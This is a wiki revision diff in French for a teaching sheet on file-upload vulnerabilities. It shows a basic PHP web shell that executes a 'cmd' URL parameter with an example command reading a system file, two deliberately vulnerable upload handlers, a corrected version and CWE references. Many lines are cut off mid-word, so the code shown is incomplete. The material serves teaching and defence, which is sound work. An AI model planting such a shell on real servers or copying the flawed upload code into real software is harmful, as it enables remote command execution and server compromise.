cyber:vulnerabilite:file_upload
Différences
Ci-dessous, les différences entre deux révisions de la page.
Les deux révisions précédentesRévision précédenteProchaine révision | Révision précédente | ||
cyber:vulnerabilite:file_upload [2025/07/11 14:42] – [Description] admin | cyber:vulnerabilite:file_upload [2025/07/11 14:47] (Version actuelle) – [Correction du code :] admin | ||
---|---|---|---|
Ligne 48: | Ligne 48: | ||
Les contre-mesures suivantes peuvent être mises en œuvre : | Les contre-mesures suivantes peuvent être mises en œuvre : | ||
* S' | * S' | ||
- | * S' | + | * S' |
* Contrôler les extensions des fichiers ainsi que leur MIME-type ; | * Contrôler les extensions des fichiers ainsi que leur MIME-type ; | ||
* Renommer les fichiers uploadés sur le système avec une chaîne de caractère aléatoire ; | * Renommer les fichiers uploadés sur le système avec une chaîne de caractère aléatoire ; | ||
Ligne 55: | Ligne 55: | ||
* Limiter la taille des fichiers uploadés et la taille du nom du fichier, et filtrer les caractères spéciaux dans le nom du fichier ; | * Limiter la taille des fichiers uploadés et la taille du nom du fichier, et filtrer les caractères spéciaux dans le nom du fichier ; | ||
* N' | * N' | ||
+ | |||
+ | ====== Comment cela fonctionne ====== | ||
+ | ===== Exemple 1 ===== | ||
+ | |||
+ | Le code suivant est un web shell basique. En exploitant une fonction d' | ||
+ | Ce code reçoit un paramètre dans l'URL **cmd** correspondant à une commande shell (par exemple "cat / | ||
+ | <code php> | ||
+ | < | ||
+ | < | ||
+ | < | ||
+ | </ | ||
+ | < | ||
+ | <!-- Création d'un formulaire HTML avec la méthode " | ||
+ | basé sur le nom du fichier PHP en cours d' | ||
+ | <form method=" | ||
+ | <!-- Champ de saisie de texte où l' | ||
+ | <input type=" | ||
+ | <!-- Bouton de soumission pour exécuter la commande entrée --> | ||
+ | <input type=" | ||
+ | </ | ||
+ | <!-- Zone de préformatage HTML où les résultats de la commande exécutée seront affichés --> | ||
+ | <pre> | ||
+ | <?php | ||
+ | // Vérification si le paramètre ' | ||
+ | if(isset($_GET[' | ||
+ | { | ||
+ | // Exécution de la commande passée par l' | ||
+ | system($_GET[' | ||
+ | } | ||
+ | ?> | ||
+ | </ | ||
+ | </ | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | ===== Exemple 2 ===== | ||
+ | |||
+ | Voici un exemple de code PHP d'une fonctionnalité d' | ||
+ | <code php> | ||
+ | < | ||
+ | < | ||
+ | < | ||
+ | < | ||
+ | </ | ||
+ | < | ||
+ | <!-- Contenu principal de la page --> | ||
+ | <div id=" | ||
+ | <div class=" | ||
+ | <div class=" | ||
+ | < | ||
+ | </ | ||
+ | <div class=" | ||
+ | <p class=" | ||
+ | You can just upload [jpeg,gif] files.< | ||
+ | <!-- Paragraphe de texte indiquant les types de fichiers autorisés --> | ||
+ | </p> | ||
+ | </ | ||
+ | </ | ||
+ | </ | ||
+ | <div class=" | ||
+ | <div class=" | ||
+ | <!-- Création d'un formulaire HTML avec la méthode POST pour envoyer le fichier sur le serveur --> | ||
+ | <form action=" | ||
+ | <div class=" | ||
+ | <!-- Champ d' | ||
+ | <input type=" | ||
+ | <!-- Bouton de soumission du formulaire avec le texte " | ||
+ | <input type=" | ||
+ | </ | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | <?php | ||
+ | // Code PHP pour gérer l' | ||
+ | $target_dir = " | ||
+ | |||
+ | if(isset($_POST[" | ||
+ | // Chemin complet pour enregistrer le fichier dans le répertoire de destination | ||
+ | $target_file = $target_dir . basename($_FILES[" | ||
+ | |||
+ | // Déplacement du fichier temporaire vers le répertoire de destination | ||
+ | if (move_uploaded_file($_FILES[" | ||
+ | |||
+ | // Affichage d'un message de succès avec le lien vers le fichier uploadé | ||
+ | echo "<p class=\" | ||
+ | } else { | ||
+ | // Affichage d'un message d' | ||
+ | echo "<p class=\" | ||
+ | } | ||
+ | } | ||
+ | ?> | ||
+ | <script type=" | ||
+ | </ | ||
+ | </ | ||
+ | <?php | ||
+ | // Inclusion d'un fichier " | ||
+ | include (" | ||
+ | ?> | ||
+ | </ | ||
+ | |||
+ | Ce code n' | ||
+ | |||
+ | Ce contrôle peut facilement être contourné, par exemple à l'aide d'un proxy applicatif tel que BurpSuite. Un utilisateur malveillant peut alors envoyer n' | ||
+ | |||
+ | Pour prévenir l' | ||
+ | |||
+ | ===== Exemple 3 ===== | ||
+ | |||
+ | Voici un exemple de code PHP vulnérable à des attaques de type MIME : | ||
+ | <code php> | ||
+ | < | ||
+ | < | ||
+ | < | ||
+ | < | ||
+ | </ | ||
+ | < | ||
+ | < | ||
+ | <!-- Création d'un formulaire HTML avec la méthode POST --> | ||
+ | <form method=" | ||
+ | <input type=" | ||
+ | <!-- Bouton de soumission du formulaire --> | ||
+ | <input type=" | ||
+ | </ | ||
+ | <?php | ||
+ | // Vérifier si le formulaire a été soumis | ||
+ | if(isset($_POST[" | ||
+ | $target_dir = " | ||
+ | $target_file = $target_dir . basename($_FILES[" | ||
+ | $uploadOk = 1; | ||
+ | $imageFileType = strtolower(pathinfo($target_file, | ||
+ | |||
+ | // Vérifier si le fichier est une image réelle ou une image contrefaite | ||
+ | if(isset($_FILES[" | ||
+ | $check = getimagesize($_FILES[" | ||
+ | if($check !== false) { | ||
+ | echo "File is an image - " . $check[" | ||
+ | $uploadOk = 1; | ||
+ | } else { | ||
+ | echo "File is not an image."; | ||
+ | $uploadOk = 0; | ||
+ | } | ||
+ | } | ||
+ | |||
+ | // Autoriser certains formats de fichiers uniquement | ||
+ | $allowedMimeTypes = array(" | ||
+ | if(!in_array($_FILES[" | ||
+ | echo " | ||
+ | $uploadOk = 0; | ||
+ | } | ||
+ | |||
+ | // Vérifier si $uploadOk est mis à 0 par une erreur | ||
+ | if ($uploadOk == 0) { | ||
+ | echo " | ||
+ | // Si tout est correct, essayez de télécharger le fichier | ||
+ | } else { | ||
+ | if (move_uploaded_file($_FILES[" | ||
+ | echo "The file ". basename( $_FILES[" | ||
+ | } else { | ||
+ | echo " | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | ?> | ||
+ | </ | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | Ce code est une page web qui permet à l' | ||
+ | |||
+ | ==== Correction du code : ==== | ||
+ | |||
+ | Pour résoudre cette vulnérabilité, | ||
+ | <code php> | ||
+ | <?php | ||
+ | if(isset($_POST[" | ||
+ | $target_dir = " | ||
+ | $target_file = $target_dir . basename($_FILES[" | ||
+ | $uploadOk = 1; | ||
+ | $imageFileType = strtolower(pathinfo($target_file, | ||
+ | |||
+ | // Vérifier si le fichier est une image réelle | ||
+ | $check = getimagesize($_FILES[" | ||
+ | if($check === false) { | ||
+ | echo "File is not an image."; | ||
+ | $uploadOk = 0; | ||
+ | } | ||
+ | |||
+ | // Autoriser uniquement certains formats de fichiers | ||
+ | $allowedExtensions = array(" | ||
+ | if(!in_array($imageFileType, | ||
+ | echo " | ||
+ | $uploadOk = 0; | ||
+ | } | ||
+ | |||
+ | // Vérifier si $uploadOk est mis à 0 par une erreur | ||
+ | if ($uploadOk == 0) { | ||
+ | echo " | ||
+ | // Si tout est correct, essayez de télécharger le fichier | ||
+ | } else { | ||
+ | if (move_uploaded_file($_FILES[" | ||
+ | echo "The file ". basename( $_FILES[" | ||
+ | } else { | ||
+ | echo " | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | ?> | ||
+ | </ | ||
+ | |||
+ | Avec ce patch, la vulnérabilité est corrigée en vérifiant le contenu réel du fichier avec getimagesize(). De plus, nous utilisons une liste blanche d' | ||
+ | |||
+ | ===== CWEs ===== | ||
+ | |||
+ | * [[https:// | ||
+ | * When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct. | ||
+ | |||
+ | * [[https:// | ||
+ | * A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server. | ||
+ | |||
+ | ===== References ===== | ||
+ | |||
+ | URL : | ||
+ | * https:// | ||
+ | * https:// | ||
+ | * https:// | ||
+ | * https:// | ||
+ | * https:// | ||
+ | * https:// | ||
+ | * https:// | ||
+ | |||
====== Retour fiches vulnérabilités ====== | ====== Retour fiches vulnérabilités ====== | ||
* [[cyber: | * [[cyber: | ||
cyber/vulnerabilite/file_upload.1752237734.txt.gz · Dernière modification : 2025/07/11 14:42 de admin